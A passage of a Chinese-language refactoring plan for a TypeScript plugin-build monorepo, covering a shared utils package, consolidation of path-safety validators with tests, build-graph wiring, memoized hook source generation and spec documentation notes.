key、异输入异 key;6. 全部现有 core/acplugin 测试与 pnpm build 通过,无新私有 workspace 依赖(dev-cache.ts 只依赖 @acplugin/core 与本包)。 - -**工作量:** M | **独立分支:** 是 | **风险:** 【R1 tsdown/rolldown 版本不可得】方案硬约束要求 key 含 tsdown/rolldown/node major,但 core/acplugin 源码未 import tsdown/rolldown(它们是构建期工具,运行期不可见其 semver)。落地取舍:node major 用 process.versions.node;tsdown/rolldown 版本用【lockfile(pnpm-lock.yaml)内容 hash】作为工具链整体指纹的稳定代理(lockfile 变 => 工具版本可能变 => 失效),或退一步只用 ACPLUGIN_VERSION(主包 bump 时必然连带工具升级)。建议:key 里加 lockfile hash(读 config.root 向上找 pnpm-lock.yaml,读不到则跳过),既满足「工具版本变更失效」验收又不引入运行期依赖。需与用户确认代理是否可接受。 -【R2 鸡生蛋(模块图)】extension 实际读的模块图只有跑完才知道 => 采用「sourceKey 找候选 + 候选记录的 moduleFileHashes 事后 re-hash 比对」两级命中(见 edgeCases),而非把模块图塞进单一 key。这是本项唯一有设计密度的部分,需在实现时确保 moduleFiles 取自 execution.watchPaths 中落在 dependencyRoots 内者。 -【R3 独立 scanProject 双扫】缓存层为算指纹会额外 scanProject 一次(纯读,scanner.ts:1183)。dev 下可接受;若成为热点,可后续让 executeLifecycle 可选回传 project 复用扫描,但当前不做(YAGNI)。 -【R4 需确认】是否接受「命中时跳过整条 lifecycle」而非「lifecycle 内 per-platform 记忆化」——方案原文提「记忆化边界在 prepare/generateBundle/build」,但那需在 executeLifecycle 内改造并捕获/重放 reportCompatibility/reportMetadata/reportDiagnostic/addWatchFile 全部副作用回调(lifecycle.ts:519-531,573,491-495)以保报告确定性,复杂度 L 且直接违反「build 事务全量」的边界清晰性。整条执行级缓存(壳法)语义等价、副作用天然被完整复用(直接返回上次 ProjectExecution)、且 executeLifecycle 零改动,是更贴合 §18 与依赖边界的落法。若用户坚持 per-platform 粒度,工作量升 L 且需独立设计副作用录制层。 - - ---- - -### P16-a · 新建 private @acplugin/utils 包并汇入平台无关纯 helper(含 Codex 三路径函数合一) - -**决策:** 在 packages/utils 建一个 private:true 的 @acplugin/utils 包(镜像 @acplugin/core 的包形态),集中六平台重复的纯守卫;三个 Codex 路径函数统一为单一 isSafeRelativeReference(严格超集,只更严不更松)。 - -**现状(锚点):** 无 packages/utils(已确认:`ls packages/utils`→不存在)。重复副本(已逐一 Read 确认字节一致):isRecord 在 claude-code/src/validator.ts:99、codex/src/validator.ts:99、cursor/src/validator.ts:25、pi/src/validator.ts:23、opencode/src/validator.ts:18(均 `value!==null&&typeof value==='object'&&!Array.isArray(value)`,返回 `value is JsonRecord`);isNonEmptyString 在 claude-code/src/components.ts:48、codex/src/components.ts:53、cursor/src/manifest.ts:30、pi/src/manifest.ts:27(均 `typeof v==='string'&&v.trim().length>0`);report(带可选 fieldPath)在 claude validator:111、cursor validator:37、codex validator:111,report(无 fieldPath)在 antigravity validator:13、opencode validator:29、pi validator:34;readJson 在 claude validator:132、codex validator:132(逻辑相同,仅诊断码 CLAUDE_ vs CODEX_ 不同);referenceExists 在 claude validator:179、codex validator:210(字节一致;cursor validator:74 是 glob 版,不同,不迁);scopedArtifacts 在 claude validator:447、codex validator:229(字节一致)。三路径函数行为差异(关键):isSafePluginReference(claude:158/codex:189)用 path.posix.normalize,拒 `.`/`..`/`../`前缀/绝对/反斜杠/NUL/空;isSafeCodexPluginPath(codex/protocol.ts:71)与 isSafeSkillPath(codex/components.ts:75)彼此字节一致,不 normalize,改用 `relative.split('/').includes('..')` 拒任何 `..` 段,但放行裸 `.` 和 `.//foo`。tsconfig.base.json 有 `verbatimModuleSyntax:true`,平台已大量 `import type {...} from '@acplugin/core'`(如 claude validator.ts:3),证明 type-only import 在构建后被擦除、零运行时依赖。 - -**具体改动:** - -新目录 packages/utils,四文件: -(1) packages/utils/package.json —— 拷 packages/platforms/claude-code/package.json 并改:name:'@acplugin/utils', version:'0.0.0', private:true, type:module, exports {'.':{types:'./dist/index.d.mts',import:'./dist/index.mjs'}}, scripts{build:'tsdown',test:'vitest run --passWithNoTests',typecheck:'tsc -p tsconfig.json'}, dependencies:{}(运行时零依赖), devDependencies 加 `@acplugin/core:'workspace:*'`(仅供类型)+ @types/node/tsdown/@typescript/native/vitest(catalog:)。 -(2) packages/utils/tsconfig.json —— 字节同 platform:`{"extends":"../../tsconfig.base.json","include":["src/**/*.ts","test/**/*.ts"]}`(注意深度是 ../../ 因为 utils 在 packages/ 下,不是 packages/platforms/)。 -(3) packages/utils/tsdown.config.ts —— 逐字拷 packages/core/tsdown.config.ts(entry src/index.ts, esm, node20, dts oxc, clean)。 -(4) packages/utils/src/index.ts —— 内容: -```ts -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import type { JsonValue } from '@acplugin/core'; // type-only → 擦除,零运行时依赖 - -export function isRecord(value: unknown): value is Record { - return value !== null && typeof value === 'object' && !Array.isArray(value); -} -export function isNonEmptyString(value: unknown): value is string { - return typeof value === 'string' && value.trim().length > 0; -} -// 统一后的单一路径守卫:严格超集(=两原实现拒绝集合的并集,只会拒更多,绝不放松) -export function isSafeRelativeReference(reference: string): boolean { - if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) return false; - const relative = reference.slice(2); - if (relative.length === 0) return false; - if (relative.split('/').includes('..')) return false; // 来自 Codex 守卫:拒任何 .. 段 - const normalized = path.posix.normalize(relative); // 来自 validator 守卫 - return normalized !== '.' && normalized !== '..' - && !normalized.startsWith('../') && !path.posix.isAbsolute(normalized); -} -export function referenceExists(artifacts: ReadonlySet, reference: string): boolean { - const target = reference.slice(2).replace(/\/+$/u, ''); - if (artifacts.has(target)) return true; - for (const artifact of artifacts) if (artifact.startsWith(`${target}/`)) return true; - return false; -} -export function scopedArtifacts(paths: readonly string[], pluginRoot: string): ReadonlySet { - if (pluginRoot === '') return new Set(paths); - const prefix = `${pluginRoot}/`; - return new Set(paths.filter(p => p.startsWith(prefix)).map(p => p.slice(prefix.length))); -} -export function report( - context: { reportDiagnostic: (d: { code: string; severity: 'error'; message: string; fieldPath?: readonly (string|number)[] }) => void }, - code: string, message: string, fieldPath?: readonly (string|number)[], -): void { - context.reportDiagnostic({ code, severity: 'error', message, ...(fieldPath === undefined ? {} : { fieldPath }) }); -} -export type JsonObjectResult = - | { readonly ok: true; readonly value: Record } - | { readonly ok: false; readonly reason: 'read' | 'not-object' }; -export async function readJsonObject(root: string, artifactPath: string): Promise { - try { - const value: unknown = JSON.parse(await fs.readFile(path.join(root, artifactPath), 'utf8')); - if (!isRecord(value)) return { ok: false, reason: 'not-object' }; - return { ok: true, value }; - } catch { return { ok: false, reason: 'read' }; } -} -``` -report 的 context 参数用结构化最小签名(不 import PlatformValidateContext),既零 Core 运行时耦合又对所有平台的 context 兼容;scopedArtifacts 收 `readonly string[]`(不收 Core context 类型),迁移时调用点补 `.map(a=>a.path)`。 - -**边界与连带:** 确定性:所有函数纯、无 env/时间/随机/绝对路径,输出仅依赖输入字节 → 稳定。§3:函数名与实现均无平台 ID/Hooks/MCP 语义(isSafeRelativeReference 不叫 Plugin/Skill/Codex),诊断码字符串留在各平台调用点(见 P16-c),utils 不含码常量。§4.3:private:true 使其不进公开三包组;仅 type-only 依赖 core(擦除后运行时零依赖)。路径守卫统一后的行为收紧点(仅影响这三函数的旧放行值):`./a/../b`(旧 isSafePluginReference 放行→现拒)、`./.`(旧 Codex 守卫放行→现拒)、`.//foo`(旧 Codex 守卫放行→现拒);已 grep 六平台测试的路径字面量,唯一命中是 `./.mcp.json`(点开头文件名,非 `..` 段),经两实现与统一实现均判 true,无回归;且 acplugin 只生成 canonical 路径(`./commands`/`./skills/x`/`./hooks/hooks.json`/`./.mcp.json`),永不产出含 `..` 的引用。JsonRecord 类型:各平台本地 `type JsonRecord = Record` 与 utils isRecord 返回的 `Record` 同型,call-site 赋值不破类型。 - -**测试:** 新增 packages/utils/test/utils.test.ts(非平凡的路径守卫必须留一处可运行检查): -```ts -import { describe, it, expect } from 'vitest'; -import { isSafeRelativeReference, referenceExists, scopedArtifacts, isRecord } from '../src/index.js'; -describe('@acplugin/utils guards', () => { - it('isSafeRelativeReference is a strict superset of the old guards', () => { - for (const ok of ['./commands', './skills/x', './hooks/hooks.json', './.mcp.json']) expect(isSafeRelativeReference(ok)).toBe(true); - for (const bad of ['../x', 'x', './', './..', './a/../b', './.', './/foo', './a\\b', './a\0b']) expect(isSafeRelativeReference(bad)).toBe(false); - }); - it('referenceExists/scopedArtifacts match migrated behavior', () => { - const a = new Set(['commands/a.md','skills/s/SKILL.md']); - expect(referenceExists(a, './commands')).toBe(true); - expect(referenceExists(a, './missing')).toBe(false); - expect([...scopedArtifacts(['p/x','p/y','q/z'], 'p')].sort()).toEqual(['x','y']); - expect(isRecord({})).toBe(true); expect(isRecord([])).toBe(false); expect(isRecord(null)).toBe(false); - }); -}); -``` -断言重点:三处收紧值(`./a/../b`,`./.`,`.//foo`)现判 false;canonical 路径与 `./.mcp.json` 仍 true。 - -**验收:** `pnpm --filter @acplugin/utils run build` 产出 dist/index.mjs + index.d.mts;`grep -c '@acplugin/core' packages/utils/dist/index.mjs` = 0(type-only 已擦除);`pnpm --filter @acplugin/utils run test`/`typecheck` 通过;package-boundaries 的公开三包组断言不受影响(private:true)。 - -**工作量:** M | **独立分支:** 是 | **风险:** 无未决;唯一实质行为变化是路径守卫统一后的三处收紧,已用测试 grep 证明无现存用例依赖旧放行。 - - ---- - -### P16-b · 把 @acplugin/utils 接入构建图(主包 alwaysBundle 内联 + 平台依赖 + tsconfig paths + pretest 链),验证 §4.3 零泄漏 - -**决策:** @acplugin/utils 完全镜像 @acplugin/core 的处理:平台把它列为运行时 dependency(平台 dist 中 external),主包 tsdown deps.alwaysBundle 内联一次;pnpm-workspace 无需改。 - -**现状(锚点):** packages/acplugin/tsdown.config.ts 的 deps.alwaysBundle 现有 @acplugin/core + 六个 platform + extension-mcp,onlyBundle 有 image-size/saxes/yaml/xmlchars。packages/acplugin/package.json devDependencies 有 @acplugin/core+六 platform(workspace:*),pretest(:27)=`pnpm --filter @acplugin/core run build && pnpm --filter '@acplugin/platform-*' run build`。tsconfig.base.json paths 有 @acplugin/core→packages/core/src/index.ts 等,无 utils。已确认平台 dist external 化 core:packages/platforms/claude-code/dist/index.mjs:1 `import {...} from "@acplugin/core"`;六平台 tsdown 均无 alwaysBundle(`grep -c alwaysBundle`=0)。pnpm-workspace.yaml packages 通配含 `packages/*`(已覆盖 packages/utils)。hooks pretest(package.json:17)含 `pnpm --filter @tokenroll/acplugin run build`(该步内联 utils→需 utils dist)。packages/test pretest 用 `pnpm --filter "...@tokenroll/acplugin" run build`(`...` 拓扑,已含 utils)。 - -**具体改动:** - -(1) packages/acplugin/tsdown.config.ts:在 deps.alwaysBundle 数组加 `'@acplugin/utils'`(与 core 并列)。 -(2) packages/acplugin/package.json:devDependencies 加 `"@acplugin/utils": "workspace:*"`(与 @acplugin/core 同类,仅构建期内联用)。 -(3) 六个 packages/platforms/*/package.json:各自 dependencies 从 `{"@acplugin/core":"workspace:*"}` 改为加一行 `"@acplugin/utils":"workspace:*"`。 -(4) tsconfig.base.json paths:在 `@acplugin/core` 之后加 `"@acplugin/utils": ["./packages/utils/src/index.ts"]`(供 tsc typecheck 直接解析源码)。 -(5) pretest 链补 utils 先建: - - packages/acplugin/package.json:27 → 前置 `pnpm --filter @acplugin/utils run build && ` 再 core、platform-*。 - - packages/extensions/hooks/package.json:17 → 最前面加 `pnpm --filter @acplugin/utils run build && `(因其后 `@tokenroll/acplugin run build` 会内联 utils,需 dist 就绪)。 - - packages/test:无需改(`...@tokenroll/acplugin` 拓扑已含 utils)。 -(6) pnpm-workspace.yaml:不改(packages/* 已覆盖 packages/utils)。 - -**边界与连带:** 构建顺序:平台 dependency 声明使 `pnpm -r run build`(根 build 脚本)拓扑先建 utils→platforms→acplugin,自动正确;硬编码 filter 的两处 pretest 已在(5)补齐。平台 dist external 化 utils(平台 tsdown 无 alwaysBundle,utils 是其 dependency→保持 import 字符串),主包 alwaysBundle 内联一次,与 core 完全同构,无重复内联/无 6 份副本膨胀。§4.3:主包 dist 内联后不得出现 `from '@acplugin/utils'`(已被现有 package-boundaries.test.ts:75 的 `/from\s+["']@acplugin\//` 覆盖)。hooks/mcp Extension dist 不 import utils(它们只 import @tokenroll/acplugin),现有 :117 `not.toContain('@acplugin/')` 仍成立。 - -**测试:** 无需新增 §4.3 测试 —— packages/test/test/package-boundaries.test.ts 已覆盖:(a) :75-76 断言主包 dist 无任何 `@acplugin/` import(涵盖 utils 泄漏);(b) :121-138 断言公开包恰为三包组(utils private:true 不入列)。只需在 P16 分支跑该测试确认仍绿。可选:在 :75 附近补一条注释性断言 `expect(source).not.toMatch(/@acplugin\/utils/)` 以显式点名(非必需,已被通配覆盖)。 - -**验收:** 全量 `pnpm run build` 拓扑成功;`grep -R "@acplugin/utils" packages/acplugin/dist` 无命中;packages/test 的 package-boundaries.test.ts 全绿;`pnpm --filter @tokenroll/acplugin run typecheck` 通过(paths 解析 utils 源码)。 - -**工作量:** S | **独立分支:** 是 | **风险:** 无未决。唯一坑是漏改 hooks pretest 会在 CI 报 `@tokenroll/acplugin run build` 找不到 utils/dist —— (5)已覆盖。 - - ---- - -### P16-c · 六平台 validator/manifest/components/protocol 改用 @acplugin/utils 并删本地副本;Codex 三路径函数收敛为 isSafeRelativeReference - -**决策:** 逐平台把重复守卫替换为 utils import 并删本地定义;三个 Codex 路径函数全部改调 isSafeRelativeReference;readJson 改薄封装 utils.readJsonObject 但保留各平台专属诊断码;cursor 的 glob 版 referenceExists 与各平台 report 诊断码保持本地。 - -**现状(锚点):** 见 P16-a 已核实的全部 file:line。补充调用点:isSafePluginReference 在 claude validator 用于 :485、:558,在 codex validator 用于 :256、:279、:594、:644(含 validateBrandingImage:279);isSafeCodexPluginPath 仅在 codex/protocol.ts 内部使用 :128(screenshots)、:179(composerIcon/logo),未经 index.ts 再导出(index.ts 只导出 types/PLATFORM_ID/PLATFORM_API_VERSION/codex 工厂);isSafeSkillPath 仅在 codex/components.ts:131(iconSmall/iconLarge)使用。readJson 调用点:claude validator:637/669/675、codex validator:992/1024/1030。scopedArtifacts 调用点:claude validator:506、codex validator:870。 - -**具体改动:** - -各文件顶部加 `import { isRecord, isNonEmptyString, report, referenceExists, scopedArtifacts, isSafeRelativeReference, readJsonObject } from '@acplugin/utils';`(按各文件实际用到的子集),删除对应本地定义: -- claude-code/src/validator.ts:删 isRecord(:99)、report(:111)、isSafePluginReference(:158)、referenceExists(:179)、scopedArtifacts(:447);把 :485/:558 的 isSafePluginReference→isSafeRelativeReference;:506 `scopedArtifacts(context, pluginRoot)`→`scopedArtifacts(context.candidate.unit.artifacts.map(a=>a.path), pluginRoot)`;readJson(:132)改薄封装: -```ts -async function readJson(context, artifactPath): Promise { - const r = await readJsonObject(context.candidate.root, artifactPath); - if (r.ok) return r.value; - report(context, r.reason==='not-object'?'CLAUDE_MANIFEST_OBJECT_REQUIRED':'CLAUDE_MANIFEST_READ_FAILED', - r.reason==='not-object'?`${artifactPath} must contain a JSON object.`:`${artifactPath} must be present and contain valid JSON.`); - return undefined; -} -``` -- codex/src/validator.ts:删 isRecord(:99)、report(:111)、isSafePluginReference(:189)、referenceExists(:210)、scopedArtifacts(:229);:256/:279/:594/:644 及 validateBrandingImage 内 isSafePluginReference→isSafeRelativeReference;:870 scopedArtifacts 调用同上补 `.map`;readJson(:132)同 claude 模式但用 CODEX_ 码;保留 parseYamlObject 本地(用 utils.isRecord)。 -- codex/src/protocol.ts:删 isSafeCodexPluginPath(:71),:128/:179 改 isSafeRelativeReference,import 之。isCodexHttpsUrl/parseCodexSvgDimensions/codexInterfaceFieldIssue 等保留(平台语义)。 -- codex/src/components.ts:删 isSafeSkillPath(:75)与本地 isNonEmptyString(:53),:131 改 isSafeRelativeReference,import isNonEmptyString/isSafeRelativeReference。isUniqueStringArray/reportFieldError 保留本地(reportFieldError 带 CODEX_COMPONENT_FIELD_INVALID 码 = 平台语义)。 -- claude-code/src/components.ts:删本地 isNonEmptyString(:48),import 之(isUniqueStringArray/reportFieldError 留本地)。 -- cursor/src/validator.ts:删 isRecord(:25)、report(:37),import 之;保留本地 isSafeReference(:57,glob 版语义不同)与 referenceExists(:74,glob 版);其 validateReference 诊断码不变。 -- cursor/src/manifest.ts:删本地 isNonEmptyString(:30),import 之;SEMVER_PATTERN 见 P16-e。 -- pi/src/validator.ts:删 isRecord(:23)、report(:34),import 之。 -- pi/src/manifest.ts:删本地 isNonEmptyString(:27),import 之。 -- opencode/src/validator.ts:删 isRecord(:18)、report(:29),import 之。 -- antigravity/src/validator.ts:删 report(:13),import 之(该文件内联 JSON 解析用的是 `value===null||typeof...`,可选改用 utils.isRecord,非必需)。 -各平台本地 `type JsonRecord = Record` 别名保留(可读性,且与 utils 返回同型)。 - -**边界与连带:** 诊断码/消息全部留在平台调用点 → 输出字节不变 → 确定性 & §3 均守住(utils 不含任何平台码)。readJson 薄封装保持原双分支语义(parse 抛错→READ_FAILED;非对象→OBJECT_REQUIRED),逐平台核对码前缀。cursor 的 isSafeReference/referenceExists 是 glob 感知的不同实现,绝不可换成 utils 版(会破 glob 校验)。isSafeCodexPluginPath 未外泄(index 不再导出),删除安全。三处路径收紧(P16-a 已列)在这些真实调用点均只作用于生成路径,无回归。scopedArtifacts 签名从收 context 改收 `string[]`,两处调用点必须同步补 `.map(a=>a.path)`(漏改会类型报错,typecheck 兜底)。 - -**测试:** 无需改平台断言(诊断码/消息不变);但必须回归跑六平台 test:`pnpm --filter '@acplugin/platform-*' run test`。补一条 grep 守卫(可放 packages/test 或 CI):确认平台 src 不再有本地重复定义 —— `grep -rn 'function isRecord' packages/platforms/*/src` 应仅剩 0 处(全部迁走)。若某平台测试恰好断言了含 `..` 的路径为 valid(已 grep,无),才需调整;当前无。 - -**验收:** 六平台 `build`+`typecheck`+`test` 全绿;`grep -rn 'function isRecord\|function isNonEmptyString\|function isSafePluginReference\|function isSafeCodexPluginPath\|function isSafeSkillPath' packages/platforms/*/src` 仅剩 cursor 的 isSafeReference(glob)与各平台保留项,重复守卫归零;诊断输出与迁移前逐码一致(可对比迁移前 validate 快照)。 - -**工作量:** L | **独立分支:** 是 | **风险:** churn 面最大(触 12+ 文件、10+ 调用点);风险点是 readJson 封装漏掉某分支码 / scopedArtifacts 调用点漏补 .map —— 均由 typecheck + 平台测试兜底。建议与 P16-a/b 同分支原子落地(单独 commit 分文件)。 - - ---- - -### P16-d · Hooks wire.mjs 改 per-platform memoize + 加同平台跨 hook 字节一致测试 - -**决策:** 在 createWireSource 内部做 per-platform 记忆化(Map),消除 per-(adapter,hook) 重复构造整段模板;在根出口一处修复,所有 adapter 调用点自动受益。 - -**现状(锚点):** packages/extensions/hooks/src/wire-source.ts:29 `createWireSource(platform)` 是纯函数,返回值只依赖 `platform`(6 个字面量之一),但每次调用都重新拼整段 ~170 行模板字符串。调用点:adapters.ts:26 import,:356-360(applyAdapter 内 for-hook 循环,claude/codex)、:486-490(emitHookRuntime,cursor/antigravity/opencode/pi)。即 N 个 hook × 平台 → 重算 N 次同一串。产物路径 dist//plugin/hooks//wire.mjs(见 hooks.test.ts:429/431)。 - -**具体改动:** - -packages/extensions/hooks/src/wire-source.ts:把现 createWireSource 体改名为内部 `buildWireSource(platform)`,新 createWireSource 记忆化: -```ts -const WIRE_SOURCE_CACHE = new Map(); -export function createWireSource(platform: HookAdapterPlatform): string { - const cached = WIRE_SOURCE_CACHE.get(platform); - if (cached !== undefined) return cached; - const source = buildWireSource(platform); - WIRE_SOURCE_CACHE.set(platform, source); - return source; -} -function buildWireSource(platform: HookAdapterPlatform): string { /* 原 :30-217 体原样 */ } -``` -adapters.ts:356-360 与 :486-490 不改(仍调 createWireSource(platform)),自动命中缓存。 - -**边界与连带:** 确定性:缓存值只由 platform(编译期常量)决定,与任何 build 输入无关,模块级缓存跨 build 复用同字节 → 引用透明,不违反‘纯函数/无副作用’的实质(无 fs/env/随机)。缓存至多 6 条字符串,内存可忽略。不改变任何产物字节(memoize 前后 wire.mjs 完全相同),不影响现有 hooks.test.ts:429 的 claude/codex wire 断言。选择在 wire-source.ts 一处修(rung 2/6:所有 caller 都过这里),而非在 adapters.ts 两个 emit 点各加缓存(会重复逻辑)。 - -**测试:** 在 packages/extensions/hooks/test/hooks.test.ts 现有 'builds all canonical events once...'(:357,已用 canonicalHooks() 为 claude+codex 建多 hook)末尾加断言: -```ts -for (const platform of ['claude-code', 'codex']) { - const dir = path.join(root, `dist/${platform}/plugin/hooks`); - const ids = (await fs.readdir(dir)).filter(n => n !== 'hooks.json'); - const wires = await Promise.all(ids.map(id => fs.readFile(path.join(dir, id, 'wire.mjs'), 'utf8'))); - for (const w of wires) expect(w).toBe(wires[0]); // 同平台跨 hook wire.mjs 字节一致 - expect(ids.length).toBeGreaterThan(1); // 确保确实多 hook 才有意义 -} -// 跨平台仍应不同(claude 用 CLAUDE_PLUGIN_ROOT) -const cc = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks', (await fs.readdir(path.join(root,'dist/claude-code/plugin/hooks'))).find(n=>n!=='hooks.json')!, 'wire.mjs'),'utf8'); -const cx = await fs.readFile(path.join(root, 'dist/codex/plugin/hooks', (await fs.readdir(path.join(root,'dist/codex/plugin/hooks'))).find(n=>n!=='hooks.json')!, 'wire.mjs'),'utf8'); -expect(cc).not.toBe(cx); -``` - -**验收:** hooks 包 test 全绿,新断言证明同平台每个 hook 的 wire.mjs 字节一致、跨平台不同;memoize 不改任何产物字节(可选:对同一 platform 调 createWireSource 两次断言 `===` 同一引用)。 - -**工作量:** S | **独立分支:** 否 | **风险:** 无。此项不依赖 @acplugin/utils,可独立落地(但归入 G7 同分支即可)。 - - ---- - -### P16-e · 标记不宜盲迁项(SEMVER_PATTERN 语义分歧)+ 可选低价值项(findCanonicalDocument)+ 落地顺序(建议先做) - -**决策:** SEMVER_PATTERN 不盲迁(两副本语义不同,属平台语义,违反‘不含平台语义’判据),保留各平台本地或仅在产品确认放宽后统一;findCanonicalDocument 作为可选低 ROI 项,给出实现但允许时间盒内跳过;P16 整组建议在 G2/G4(Core/平台)改动之前先落地。 - -**现状(锚点):** SEMVER_PATTERN 两份且不同:cursor/src/manifest.ts:22(exported,`/^...(?:-pre)?$/u`,无 build metadata、带 u 标志)vs codex/src/validator.ts:58(local,`/^...(?:-pre)?(?:\+build)?$/`,允许 build metadata、无 u 标志)。二者对 `1.2.3+build` 判定相反 → 语义分歧。findCanonicalDocument:无同名函数;实为各平台 serializeDocuments 内重复模式(claude manifest:191、antigravity manifest:101、codex manifest:259、cursor manifest:182、pi manifest:149、opencode config-document:103):`const m = documents.find(d=>d.id===ID); if(!m||m.path!==PATH||m.format!==FMT) throw '<平台> ... missing its canonical ... Document.'; if(documents.length!==1) throw '<平台> received an unknown Document.'`,其中 ID/PATH/FMT/throw 文案/length 约束均含平台特化。 - -**具体改动:** - -SEMVER_PATTERN(推荐 A=不迁):保持现状,在 utils 不提供 SEMVER_PATTERN;各平台副本加一行注释说明分歧理由。备选 B(仅当产品同意放宽 cursor):utils 导出 `export const SEMVER_PATTERN = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?(?:\+[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/u`(全 semver),cursor/codex 均 import,并把 cursor 现有拒 build-metadata 的测试改为接受 —— 这是一次 spec 变更,需 changeset + 明确 sign-off。 -findCanonicalDocument(可选):utils 加 -```ts -import type { DraftDocument } from '@acplugin/core'; // type-only -export function findCanonicalDocument(documents: readonly DraftDocument[], id: string, path: string, format: string): DraftDocument | undefined { - const doc = documents.find(d => d.id === id); - return doc && doc.path === path && doc.format === format ? doc : undefined; -} -``` -各平台 serializeDocuments 用 `const m = findCanonicalDocument(documents, ID, PATH, FMT); if(!m) throw '<平台>...';` 保留本地 throw 文案 + `documents.length!==1` 断言。 - -**边界与连带:** SEMVER:盲迁会改变 cursor 对 `x.y.z+build` 的接受性 → 破 spec/测试,故按任务自身‘不含平台语义’判据判定为不合格迁移项。findCanonicalDocument:extract 仅省 ~2 行 find+比较 × 6,平台仍各留 throw+length,净收益边际,并给 utils 引入 DraftDocument 类型耦合(type-only,尚可);opencode 是 config-document 且 format 可能不同,ID/PATH 各异,统一函数只吃这三参、不碰文案,§3 守住。落地顺序:P16 是纯重构(除三路径收紧),若在 G2/G4 之后做,G2/G4 会在 6 份副本上各自改动、随后 P16 再删并集中 → 双倍改动 + 合并冲突;先做 P16 则 G2/G4 直接基于去重后的单一实现,零重复劳动。 - -**测试:** SEMVER 若走备选 B:改 cursor 的 CURSOR_MANIFEST_VERSION_INVALID 相关用例,加 `1.2.3+build` 现判 valid 的断言,并加 changeset。findCanonicalDocument 若采用:六平台现有 serializeDocuments 的 '缺失 canonical/多余 document 抛错' 测试不变(文案与 length 语义保留)即为回归保证。 - -**验收:** SEMVER 决策记录在案(默认 A 不迁,除非拿到放宽 cursor 的 sign-off);若采用 findCanonicalDocument,六平台 serializeDocuments 测试全绿且抛错文案逐字不变;确认 P16 分支先于 G2/G4 合并(或至少 G2/G4 rebase 到 P16 之上)。 - -**工作量:** S | **独立分支:** 否 | **风险:** SEMVER 备选 B 是 spec 变更,须产品确认——默认不做;findCanonicalDocument ROI 低,时间盒内可跳过不影响 P16 主目标。落地顺序若被打乱(G2/G4 先行)会显著增加 P16 合并成本 —— 需在计划层面锁定 P16 优先。 - - ---- -## S4 — 规范 / 记录(仅注释/文档,不改行为) - -### P15 · 规范 §9.4 补写并行化前提与其结构成本 - -**决策:** 在 spec §9.4 “未来并行化不得改变可观察顺序” 句旁补一段实现前提:并行化前必须先让诊断/兼容性/元数据按 owner 分桶或排序键完全脱离插入时序,并替换现有基于插入序的 checkpoint。 - -**现状(锚点):** .llmdoc-tmp/specs/tokenroll-acplugin-1.0-spec.md:629 只有一句承诺:『1.0 中 Platform 按配置顺序串行执行,避免生命周期副作用和报告顺序不确定。未来并行化不得改变可观察顺序。』未写清代价。实际耦合点:packages/core/src/lifecycle.ts:226 `const diagnostics = new DiagnosticCollector(reportRedaction)` 是所有 Hook/Scanner/Registry 共享的单实例;诊断最终顺序由 diagnostics.ts:179 sortDiagnostics 的内容键(platform/extension/owner/location/code/message)决定,已基本与插入序无关,但 (a) 全键相等的并列项回退到稳定排序的输入序,(b) lifecycle.ts:685 `const propagatedCompatibilityStart = compatibility.size` 配合 diagnostics.ts:418 applyStrictness(..., start) 的按下标切片,是显式依赖串行 append 顺序的 checkpoint。 - -**具体改动:** - -在 spec 第 629 行那句之后新增一段(纯文档,Markdown 段落): -『实现前提:要让本承诺成立,诊断、兼容性与元数据结论要么排序键完全独立于产生时刻(见 §18),要么在合并前按 owner(platform: / extension: / public)分桶并按配置顺序重放。当前实现由所有 Hook、Scanner、Registry 共享单一 DiagnosticCollector(packages/core/src/lifecycle.ts 内 `new DiagnosticCollector(...)`),按插入顺序累积、仅在读取时用内容键做确定性排序;串行下其内容排序已消除顺序差异,但该结构并未按 owner 结构化,且兼容性严格度检查依赖位置 checkpoint(`compatibility.size` 快照 + applyStrictness 的 start 下标切片),该 checkpoint 显式假设串行 append。若未来并行执行各 Platform,必须先:①改为 owner 分桶收集,或证明所有报告排序键(含并列项 tie-break)完全独立于插入与并发时序;②用与并发无关的 owner/subject 归属替换位置 checkpoint。此为并行化必须预付的结构成本,不能塞进引入并行的同一改动里顺带完成。』 - -**边界与连带:** 纯 spec 文档改动,不触碰代码,不影响确定性/产物字节。措辞须准确:不要断言当前诊断顺序随并发漂移(内容键已排序);真正会漂移的是 tie-break 并列项与 compatibility 的位置 checkpoint。若 llmdoc/architecture 或 conversion-matrix 引用了 §9.4 行号,注意行号会因新增段落下移(它们按小节标题引用,通常无需改)。 - -**测试:** 无代码测试。验证:spec Markdown 渲染无破坏;若仓库有 llmdoc 链接检查(llmdoc:update),重跑确认 §9.4 锚点未失效。 - -**验收:** §9.4 承诺句下方存在该实现前提段,明确点名共享 DiagnosticCollector 与位置 checkpoint 两处成本;不新增任何代码或行为承诺。 - -**工作量:** S | **独立分支:** 否 | **风险:** none(需确保描述与代码事实一致:diagnostics 内容键已排序,勿夸大为‘串行才正确’)。 - - ---- - -### P17d-1 · Codex/Claude 允许字段集补 §21 核验日期注解 - -**决策:** 给 Codex plugin/interface/openai.yaml 与 Claude manifest 的允许字段集 doc 注释补『核验日期:2026-08-06 + §21 官方来源』,镜像现有 Hook schema 注解风格。 - -**现状(锚点):** 现有可镜像风格:packages/platforms/claude-code/test/platform.test.ts:466 `/** Claude Code Hook 官方契约核验日期:2026-08-06。 */`;README 用 `last rechecked on 2026-08-06`。待补的字段集注释均无日期:claude-code/src/validator.ts:6 `/** Claude Code Plugin 清单允许出现的官方根字段。 */`(PLUGIN_FIELDS),:81 MARKETPLACE_FIELDS,:84 MARKETPLACE_PLUGIN_FIELDS;codex/src/validator.ts:19 PLUGIN_FIELDS,:25 INTERFACE_FIELDS,:28 SKILL_METADATA_FIELDS(agents/openai.yaml),:32 SKILL_INTERFACE_FIELDS,:42/:45 MARKETPLACE_*;codex/src/protocol.ts:37 `/** Codex Plugin \`interface\` 当前允许的全部官方字段。 */`(CODEX_INTERFACE_FIELDS)。§21 来源(spec:1259/1261):Claude=https://code.claude.com/docs/en/plugins-reference,Codex=https://developers.openai.com/plugins/build/plugins。 - -**具体改动:** - -逐条把 doc 注释末尾追加『核验日期:2026-08-06,来源见 §21 。』: -- claude-code/src/validator.ts:6 → `/** Claude Code Plugin 